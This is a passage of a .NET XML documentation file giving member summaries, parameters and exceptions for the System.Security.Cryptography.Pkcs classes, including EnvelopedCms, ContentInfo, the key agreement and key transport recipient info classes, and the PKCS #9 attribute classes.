<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.System#Collections#IEnumerable#GetEnumerator"></see> method returns a <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator"></see> object for the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.CmsRecipientEnumerator"></see> object that can be used to enumerate the <see cref="System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator"></see> class provides enumeration functionality for the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection. <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator"></see> implements the <see cref="T:System.Collections.IEnumerator"></see> interface.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator.Current">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator.Current"></see> property retrieves the current <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> object from the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.CmsRecipient"></see> object that represents the current recipient in the <see cref="System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator.MoveNext">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator.MoveNext"></see> method advances the enumeration to the next <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> object in the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</summary>
<returns>true if the enumeration successfully moved to the next <see cref="System.Security.Cryptography.Pkcs.CmsRecipient"></see> object; false if the enumeration moved past the last item in the enumeration.</returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator.Reset">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator.Reset"></see> method resets the enumeration to the first <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> object in the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator.System#Collections#IEnumerator#Current">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator.System#Collections#IEnumerator#Current"></see> property retrieves the current <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> object from the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.CmsRecipient"></see> object that represents the current recipient in the <see cref="System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.ContentInfo">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.ContentInfo"></see> class represents the CMS/PKCS #7 ContentInfo data structure as defined in the CMS/PKCS #7 standards document. This data structure is the basis for all CMS/PKCS #7 messages.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.ContentInfo.#ctor(System.Byte[])">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.ContentInfo.#ctor(System.Byte[])"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.ContentInfo"></see> class by using an array of byte values as the data and a default <paramref name="object identifier">object identifier</paramref> (OID) that represents the content type.</summary>
<param name="content">An array of byte values that represents the data from which to create the <see cref="T:System.Security.Cryptography.Pkcs.ContentInfo"></see> object.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.ContentInfo.#ctor(System.Security.Cryptography.Oid,System.Byte[])">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.ContentInfo.#ctor(System.Security.Cryptography.Oid,System.Byte[])"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.ContentInfo"></see> class by using the specified content type and an array of byte values as the data.</summary>
<param name="contentType">An <see cref="T:System.Security.Cryptography.Oid"></see> object that contains an object identifier (OID) that specifies the content type of the content. This can be data, digestedData, encryptedData, envelopedData, hashedData, signedAndEnvelopedData, or signedData. For more information, see Remarks.</param>
<param name="content">An array of byte values that represents the data from which to create the <see cref="T:System.Security.Cryptography.Pkcs.ContentInfo"></see> object.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.ContentInfo.Content">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.ContentInfo.Content"></see> property retrieves the content of the CMS/PKCS #7 message.</summary>
<returns>An array of byte values that represents the content data.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.ContentInfo.ContentType">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.ContentInfo.ContentType"></see> property retrieves the <see cref="T:System.Security.Cryptography.Oid"></see> object that contains the <paramref name="object identifier">object identifier</paramref> (OID) of the content type of the inner content of the CMS/PKCS #7 message.</summary>
<returns>An <see cref="System.Security.Cryptography.Oid"></see> object that contains the OID value that represents the content type.</returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.ContentInfo.GetContentType(System.Byte[])">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.ContentInfo.GetContentType(System.Byte[])"></see> static method retrieves the outer content type of the encoded <see cref="T:System.Security.Cryptography.Pkcs.ContentInfo"></see> message represented by an array of byte values.</summary>
<param name="encodedMessage">An array of byte values that represents the encoded <see cref="T:System.Security.Cryptography.Pkcs.ContentInfo"></see> message from which to retrieve the outer content type.</param>
<returns>If the method succeeds, the method returns an <see cref="System.Security.Cryptography.Oid"></see> object that contains the outer content type of the specified encoded <see cref="System.Security.Cryptography.Pkcs.ContentInfo"></see> message.
If the method fails, it throws an exception.</returns>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">An error occurred during a cryptographic operation.</exception>
</member>
<member name="T:System.Security.Cryptography.Pkcs.EnvelopedCms">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.EnvelopedCms"></see> class represents a CMS/PKCS #7 structure for enveloped data.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.#ctor">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.#ctor"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.EnvelopedCms"></see> class.</summary>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.#ctor(System.Security.Cryptography.Pkcs.ContentInfo)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.#ctor(System.Security.Cryptography.Pkcs.ContentInfo)"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.EnvelopedCms"></see> class by using the specified content information as the inner content type.</summary>
<param name="contentInfo">An instance of the <see cref="P:System.Security.Cryptography.Pkcs.EnvelopedCms.ContentInfo"></see> class that represents the content and its type.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.#ctor(System.Security.Cryptography.Pkcs.ContentInfo,System.Security.Cryptography.Pkcs.AlgorithmIdentifier)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.#ctor(System.Security.Cryptography.Pkcs.ContentInfo,System.Security.Cryptography.Pkcs.AlgorithmIdentifier)"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.EnvelopedCms"></see> class by using the specified content information and encryption algorithm. The specified content information is to be used as the inner content type.</summary>
<param name="contentInfo">A <see cref="T:System.Security.Cryptography.Pkcs.ContentInfo"></see> object that represents the content and its type.</param>
<param name="encryptionAlgorithm">An <see cref="T:System.Security.Cryptography.Pkcs.AlgorithmIdentifier"></see> object that specifies the encryption algorithm.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.EnvelopedCms.Certificates">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.EnvelopedCms.Certificates"></see> property retrieves the set of certificates associated with the enveloped CMS/PKCS #7 message.</summary>
<returns>An <see cref="System.Security.Cryptography.X509Certificates.X509Certificate2Collection"></see> collection that represents the X.509 certificates used with the enveloped CMS/PKCS #7 message. If no certificates exist, the property value is an empty collection.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.EnvelopedCms.ContentEncryptionAlgorithm">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.EnvelopedCms.ContentEncryptionAlgorithm"></see> property retrieves the identifier of the algorithm used to encrypt the content.</summary>
<returns>An <see cref="System.Security.Cryptography.Pkcs.AlgorithmIdentifier"></see> object that represents the algorithm identifier.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.EnvelopedCms.ContentInfo">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.EnvelopedCms.ContentInfo"></see> property retrieves the inner content information for the enveloped CMS/PKCS #7 message.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.ContentInfo"></see> object that represents the inner content information from the enveloped CMS/PKCS #7 message.</returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decode(System.Byte[])">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decode(System.Byte[])"></see> method decodes the specified enveloped CMS/PKCS #7 message and resets all member variables in the <see cref="T:System.Security.Cryptography.Pkcs.EnvelopedCms"></see> object.</summary>
<param name="encodedMessage">An array of byte values that represent the information to be decoded.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.Pkcs.RecipientInfo,System.Security.Cryptography.X509Certificates.X509Certificate2Collection)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.Pkcs.RecipientInfo,System.Security.Cryptography.X509Certificates.X509Certificate2Collection)"></see> method decrypts the contents of the decoded enveloped CMS/PKCS #7 message by using the private key associated with the certificate identified by the specified recipient information and by using the specified certificate collection. The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.Pkcs.RecipientInfo,System.Security.Cryptography.X509Certificates.X509Certificate2Collection)"></see> method searches the specified certificate collection and the My certificate store for the proper certificate to use for the decryption.</summary>
<param name="recipientInfo">A <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> object that represents the recipient information to use for the decryption.</param>
<param name="extraStore">An <see cref="T:System.Security.Cryptography.X509Certificates.X509Certificate2Collection"></see> collection that represents additional certificates to use for the decryption. The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.Pkcs.RecipientInfo,System.Security.Cryptography.X509Certificates.X509Certificate2Collection)"></see> method searches this certificate collection and the My certificate store for the proper certificate to use for the decryption.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
<exception cref="T:System.InvalidOperationException">A method call was invalid for the object&amp;#39;s current state.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.X509Certificates.X509Certificate2Collection)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.X509Certificates.X509Certificate2Collection)"></see> method decrypts the contents of the decoded enveloped CMS/PKCS #7 message by using the specified certificate collection. The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.X509Certificates.X509Certificate2Collection)"></see> method searches the specified certificate collection and the My certificate store for the proper certificate to use for the decryption.</summary>
<param name="extraStore">An <see cref="T:System.Security.Cryptography.X509Certificates.X509Certificate2Collection"></see> collection that represents additional certificates to use for the decryption. The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.X509Certificates.X509Certificate2Collection)"></see> method searches this certificate collection and the My certificate store for the proper certificate to use for the decryption.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
<exception cref="T:System.InvalidOperationException">A method call was invalid for the object&amp;#39;s current state.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt"></see> method decrypts the contents of the decoded enveloped CMS/PKCS #7 message. The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt"></see> method searches the current user and computer My stores for the appropriate certificate and private key.</summary>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
<exception cref="T:System.InvalidOperationException">A method call was invalid for the object&amp;#39;s current state.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.Pkcs.RecipientInfo)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.Pkcs.RecipientInfo)"></see> method decrypts the contents of the decoded enveloped CMS/PKCS #7 message by using the private key associated with the certificate identified by the specified recipient information.</summary>
<param name="recipientInfo">A <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> object that represents the recipient information that identifies the certificate associated with the private key to use for the decryption.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
<exception cref="T:System.InvalidOperationException">A method call was invalid for the object&amp;#39;s current state.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Encode">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Encode"></see> method encodes the contents of the enveloped CMS/PKCS #7 message and returns it as an array of byte values. Encryption must be done before encoding.</summary>
<returns>If the method succeeds, the method returns an array of byte values that represent the encoded information.
If the method fails, it throws an exception.</returns>
<exception cref="T:System.InvalidOperationException">A method call was invalid for the object&amp;#39;s current state.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Encrypt(System.Security.Cryptography.Pkcs.CmsRecipient)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Encrypt(System.Security.Cryptography.Pkcs.CmsRecipient)"></see> method encrypts the contents of the CMS/PKCS #7 message by using the specified recipient information.</summary>
<param name="recipient">A <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> object that represents the recipient information.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Encrypt(System.Security.Cryptography.Pkcs.CmsRecipientCollection)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Encrypt(System.Security.Cryptography.Pkcs.CmsRecipientCollection)"></see> method encrypts the contents of the CMS/PKCS #7 message by using the information for the specified list of recipients. The message is encrypted by using a message encryption key with a symmetric encryption algorithm such as triple DES. The message encryption key is then encrypted with the public key of each recipient.</summary>
<param name="recipients">A <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection that represents the information for the list of recipients.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.EnvelopedCms.RecipientInfos">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.EnvelopedCms.RecipientInfos"></see> property retrieves the recipient information associated with the enveloped CMS/PKCS #7 message.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection that represents the recipient information. If no recipients exist, the property value is an empty collection.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.EnvelopedCms.UnprotectedAttributes">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.EnvelopedCms.UnprotectedAttributes"></see> property retrieves the unprotected (unencrypted) attributes associated with the enveloped CMS/PKCS #7 message. Unprotected attributes are not encrypted, and so do not have data confidentiality within an <see cref="T:System.Security.Cryptography.Pkcs.EnvelopedCms"></see> object.</summary>
<returns>A <see cref="System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection that represents the unprotected attributes. If no unprotected attributes exist, the property value is an empty collection.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.EnvelopedCms.Version">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.EnvelopedCms.Version"></see> property retrieves the version of the enveloped CMS/PKCS #7 message.</summary>
<returns>An int value that represents the version of the enveloped CMS/PKCS #7 message.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo"></see> class defines key agreement recipient information. Key agreement algorithms typically use the Diffie-Hellman key agreement algorithm, in which the two parties that establish a shared cryptographic key both take part in its generation and, by definition, agree on that key. This is in contrast to key transport algorithms, in which one party generates the key unilaterally and sends, or transports it, to the other party.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.Date">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.Date"></see> property retrieves the date and time of the start of the key agreement protocol by the originator.</summary>
<returns>The date and time of the start of the key agreement protocol by the originator.</returns>
<exception cref="T:System.InvalidOperationException">The recipient identifier type is not a subject key identifier.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.EncryptedKey">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.EncryptedKey"></see> property retrieves the encrypted recipient keying material.</summary>
<returns>An array of byte values that contain the encrypted recipient keying material.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.KeyEncryptionAlgorithm">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.KeyEncryptionAlgorithm"></see> property retrieves the algorithm used to perform the key agreement.</summary>
<returns>The value of the algorithm used to perform the key agreement.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.OriginatorIdentifierOrKey">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.OriginatorIdentifierOrKey"></see> property retrieves information about the originator of the key agreement for key agreement algorithms that warrant it.</summary>
<returns>An object that contains information about the originator of the key agreement.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.OtherKeyAttribute">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.OtherKeyAttribute"></see> property retrieves attributes of the keying material.</summary>
<returns>The attributes of the keying material.</returns>
<exception cref="T:System.InvalidOperationException">The recipient identifier type is not a subject key identifier.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.RecipientIdentifier">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.RecipientIdentifier"></see> property retrieves the identifier of the recipient.</summary>
<returns>The identifier of the recipient.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.Version">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.Version"></see> property retrieves the version of the key agreement recipient. This is automatically set for objects in this class, and the value implies that the recipient is taking part in a key agreement algorithm.</summary>
<returns>The version of the <see cref="System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo"></see> object.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo"></see> class defines key transport recipient information. Key transport algorithms typically use the RSA algorithm, in which an originator establishes a shared cryptographic key with a recipient by generating that key and then transporting it to the recipient. This is in contrast to key agreement algorithms, in which the two parties that will be using a cryptographic key both take part in its generation, thereby mutually agreeing to that key.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo.EncryptedKey">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo.EncryptedKey"></see> property retrieves the encrypted key for this key transport recipient.</summary>
<returns>An array of byte values that represents the encrypted key.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo.KeyEncryptionAlgorithm">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo.KeyEncryptionAlgorithm"></see> property retrieves the key encryption algorithm used to encrypt the content encryption key.</summary>
<returns>An <see cref="System.Security.Cryptography.Pkcs.AlgorithmIdentifier"></see> object that stores the key encryption algorithm identifier.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo.RecipientIdentifier">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo.RecipientIdentifier"></see> property retrieves the subject identifier associated with the encrypted content.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.SubjectIdentifier"></see> object that stores the identifier of the recipient taking part in the key transport.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo.Version">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo.Version"></see> property retrieves the version of the key transport recipient. The version of the key transport recipient is automatically set for objects in this class, and the value implies that the recipient is taking part in a key transport algorithm.</summary>
<returns>An int value that represents the version of the key transport <see cref="System.Security.Cryptography.Pkcs.RecipientInfo"></see> object.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject">
<summary>Represents an attribute used for CMS/PKCS #7 and PKCS #9 operations.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject.#ctor">
<summary>Initializes a new instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject"></see> class.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject.#ctor(System.Security.Cryptography.AsnEncodedData)">
<summary>Initializes a new instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject"></see> class using a specified <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object as its attribute type and value.</summary>
<param name="asnEncodedData">An object that contains the PKCS #9 attribute type and value to use.</param>
<exception cref="T:System.ArgumentException">The length of the <paramref name="Value">Value</paramref> member of the <paramref name="Oid">Oid</paramref> member of <paramref name="asnEncodedData">asnEncodedData</paramref> is zero.</exception>
<exception cref="T:System.ArgumentNullException">The <paramref name="Oid">Oid</paramref> member of <paramref name="asnEncodedData">asnEncodedData</paramref> is null.
-or-
The <paramref name="Value">Value</paramref> member of the <paramref name="Oid">Oid</paramref> member of <paramref name="asnEncodedData">asnEncodedData</paramref> is null.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject.#ctor(System.Security.Cryptography.Oid,System.Byte[])">
<summary>Initializes a new instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject"></see> class using a specified <see cref="T:System.Security.Cryptography.Oid"></see> object as the attribute type and a specified ASN.1 encoded data as the attribute value.</summary>
<param name="oid">An object that represents the PKCS #9 attribute type.</param>
<param name="encodedData">An array of byte values that represents the PKCS #9 attribute value.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject.#ctor(System.String,System.Byte[])">
<summary>Initializes a new instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject"></see> class using a specified string representation of an object identifier (OID) as the attribute type and a specified ASN.1 encoded data as the attribute value.</summary>
<param name="oid">The string representation of an OID that represents the PKCS #9 attribute type.</param>
<param name="encodedData">An array of byte values that contains the PKCS #9 attribute value.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject.CopyFrom(System.Security.Cryptography.AsnEncodedData)">
<summary>Copies a PKCS #9 attribute type and value for this <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject"></see> from the specified <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object.</summary>
<param name="asnEncodedData">An object that contains the PKCS #9 attribute type and value to use.</param>
<exception cref="T:System.ArgumentException"><paramref name="asnEncodeData">asnEncodeData</paramref> does not represent a compatible attribute type.</exception>
<exception cref="T:System.ArgumentNullException"><paramref name="asnEncodedData">asnEncodedData</paramref> is null.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject.Oid">
<summary>Gets an <see cref="T:System.Security.Cryptography.Oid"></see> object that represents the type of attribute associated with this <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject"></see> object.</summary>
<returns>An object that represents the type of attribute associated with this <see cref="System.Security.Cryptography.Pkcs.Pkcs9AttributeObject"></see> object.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.Pkcs9ContentType">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9ContentType"></see> class defines the type of the content of a CMS/PKCS #7 message.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9ContentType.#ctor">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9ContentType.#ctor"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9ContentType"></see> class.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.Pkcs9ContentType.ContentType">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.Pkcs9ContentType.ContentType"></see> property gets an <see cref="T:System.Security.Cryptography.Oid"></see> object that contains the content type.</summary>
<returns>An <see cref="System.Security.Cryptography.Oid"></see> object that contains the content type.</returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9ContentType.CopyFrom(System.Security.Cryptography.AsnEncodedData)">
<summary>Copies information from an <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object.</summary>
<param name="asnEncodedData">The <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object from which to copy information.</param>
</member>
<member name="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription"></see> class defines the description of the content of a CMS/PKCS #7 message.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription.#ctor">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription.#ctor"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription"></see> class.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription.#ctor(System.Byte[])">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription.#ctor(System.Byte[])"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription"></see> class by using the specified array of byte values as the encoded description of the content of a CMS/PKCS #7 message.</summary>
<param name="encodedDocumentDescription">An array of byte values that specifies the encoded description of the CMS/PKCS #7 message.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription.#ctor(System.String)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription.#ctor(System.String)"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription"></see> class by using the specified description of the content of a CMS/PKCS #7 message.</summary>
<param name="documentDescription">An instance of the <see cref="T:System.String"></see> class that specifies the description for the CMS/PKCS #7 message.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription.CopyFrom(System.Security.Cryptography.AsnEncodedData)">
<summary>Copies information from an <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object.</summary>
<param name="asnEncodedData">The <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object from which to copy information.</param>
</member>
<member name="P:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription.DocumentDescription">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription.DocumentDescription"></see> property retrieves the document description.</summary>
<returns>A <see cref="System.String"></see> object that contains the document description.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentName">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentName"></see> class defines the name of a CMS/PKCS #7 message.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentName.#ctor">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentName.#ctor"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentName"></see> class.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentName.#ctor(System.Byte[])">
